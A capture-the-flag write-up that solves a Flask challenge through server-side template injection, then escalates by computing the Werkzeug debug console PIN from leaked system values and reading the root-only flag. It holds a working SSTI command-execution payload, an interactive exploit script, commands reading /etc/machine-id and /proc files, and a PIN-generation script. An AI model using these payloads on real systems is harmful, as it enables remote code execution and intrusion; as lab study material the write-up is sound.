XYZ E Municipality
Description
Can you find the secret track?
Challenge Files: https://master-platform-bucket.s3.amazonaws.com/challenges/f7bab6f2-dd2d-40fc-9cb3-a4b8dd452a0c/public.zip
Source
import os
import requests
from flask import Flask, render_template, render_template_string, request
app = Flask(__name__)
app.static_folder = "static"
basedir = os.path.abspath(os.path.dirname(__file__))
def sanitize_string(template):
global_vars = ["self", "request", "session", "g", "app"]
for var in global_vars:
template = "{% set " + var + " = None %}\n" + template
return template
@app.route("/")
def index():
return render_template("index.html")
@app.route("/generate_certificate", methods=["POST"])
def generate_certificate():
social_id = request.form["social_id"]
certificate_template = requests.get("http://localhost:8000/certificate-template").text
with open(f"{basedir}/templates/generate.html", "r") as f:
content = f.read()
content = content.replace("{{CERTIFICATE}}", certificate_template.replace("{{ social_id }}", social_id))
return render_template_string(sanitize_string(content), social_id=social_id)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000)
Solution
render_template_string
functions is clear indicator for SSTI. There's sanitize_string
function for content
which we will need to bypass.


SSTI confirmed with {{7*7}}

There's many payloads to choose, but my favorite is
{{ cycler.__init__.__globals__.os.popen('id').read() }}

/flag.txt
is only readable by root and we are ctf-player
...

from requests import Session
from bs4 import BeautifulSoup as BS
URL = 'https://4001b944135369f22176af00aaff7753.chal.ctf.ae/generate_certificate'
with Session() as session:
while True:
cmd = '{{ cycler.__init__.__globals__.os.popen("%s").read() }}' % input("Command: ")
resp = session.post(URL, data={ 'social_id': cmd })
result = BS(resp.text, 'html.parser').find('b').get_text(strip=True)[:-1]
print(result)
Root is running the other application we can potentially hijack
Command: ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 2576 904 ? Ss 06:24 0:00 /bin/sh /run.sh
ctf-pla+ 12 0.1 0.4 188896 36776 ? Sl 06:24 0:01 python3 /var/www/municipality/main.py
root 13 0.0 0.3 34136 29852 ? S 06:24 0:00 python3 /var/www/employees-portal/app.py
root 21 0.1 0.3 185436 30212 ? Sl 06:24 0:01 /usr/local/bin/python3 /var/www/employees-portal/app.py
ctf-pla+ 1974 0.0 0.0 2576 912 ? S 06:41 0:00 /bin/sh -c ps aux
ctf-pla+ 1975 0.0 0.0 8476 4328 ? R 06:41 0:00 ps aux
Command: find .
.
./employees-portal
./employees-portal/templates
./employees-portal/templates/view-requests.html
./employees-portal/app.py
./municipality
./municipality/static
./municipality/static/arrow_forward.svg
./municipality/static/styles.css
./municipality/templates
./municipality/templates/index.html
./municipality/templates/generate.html
./municipality/main.py
It's running in Debug mode and we could leak PIN code to access it (?) Not sure how without frontend yet.
Command: cat ./employees-portal/app.py
...
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0", port=8000)
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/werkzeug.html
# getattr(mod, '__file__', None),
Command: find / -name app.py 2>/dev/null
/var/www/employees-portal/app.py
/usr/local/lib/python3.8/site-packages/flask/sansio/app.py
/usr/local/lib/python3.8/site-packages/flask/app.py
I think for node address we need eth1
# str(uuid.getnode()), Â /sys/class/net/ens33/address
Command: cat /proc/net/arp
IP address HW type Flags HW address Mask Device
10.200.0.1 0x1 0x2 12:68:5c:11:3e:61 * eth1
Command: cat /sys/class/net/eth1/address
12:75:ea:0f:af:f1
>>> print(int('12:75:ea:0f:af:f1'.replace(':',''),16))
20297647370225
Command: cat cat /sys/class/net/eth0/address
0a:58:a9:fe:ac:02
>>> print(int('0a:58:a9:fe:ac:02'.replace(':',''),16))
11375925439490
# get_machine_id(), /etc/machine-id
Command: cat /etc/machine-id
Command: cat /proc/sys/kernel/random/boot_id
b9d8e64c-ed6f-4f6a-985f-6139ae3fdc75
Command: cat /proc/self/cgroup
11:devices:/ecs/bb9d590b113447f5a7d749f1915040bb/bb9d590b113447f5a7d749f1915040bb-2096071445
10:pids:/ecs/bb9d590b113447f5a7d749f1915040bb/bb9d590b113447f5a7d749f1915040bb-2096071445
...
After gathering information use the script in HackTricks to get pin code, first I tried using eth0 interface to generate it.
import hashlib
from itertools import chain
probably_public_bits = [
'root', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'11375925439490', # str(uuid.getnode()), /sys/class/net/ens33/address
'd5b86c0d-c7e8-4c60-95fe-678fb643f8bf' + 'bb9d590b113447f5a7d749f1915040bb-2096071445' # get_machine_id(), /etc/machine-id
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit: continue
if isinstance(bit, str): bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
During testing I got {"auth": false, "exhausted": true}
status, exhausted
means that PIN is perma blocked 💀
Not sure why but eth0 was required instead of eth1 to make the PIN work...
First to authenticate we need a SECRET value, it's stored in HTML so just http request and grab it.
Command: curl 0:8000/console
...
<script>
var CONSOLE_MODE = true,
EVALEX = true,
EVALEX_TRUSTED = false,
SECRET = "1mLvds1fpjxjox8bzYIm";
</script>
...
Now we can authenticate and grab cookies
Command: curl -i 0:8000/console\"?__debugger__=yes&cmd=pinauth&pin=130-025-898&s=1mLvds1fpjxjox8bzYIm\"
HTTP/1.1 200 OK
Server: Werkzeug/3.0.6 Python/3.8.20
Date: Thu, 20 Feb 2025 08:55:11 GMT
Content-Type: application/json
Content-Length: 34
Set-Cookie: __wzd3f9bc784a86d4cf7f5d8=1740041711|2b5b4dfde301; HttpOnly; Path=/; SameSite=Strict
Connection: close
{"auth": true, "exhausted": false}
Command: curl 0:8000\"/console?&__debugger__=yes&cmd=open('/flag.txt').read()&frm=0&s=1mLvds1fpjxjox8bzYIm\" -b \"__wzd3f9bc784a86d4cf7f5d8=1740041711|2b5b4dfde301\"
>>> open('/flag.txt').read()
<span class="string">'flag{gYDTW6Avx6q6HCc7pEBKRW3AoWDYa8xu}\n'</span>
Flag:
flag{gYDTW6Avx6q6HCc7pEBKRW3AoWDYa8xu}
Last updated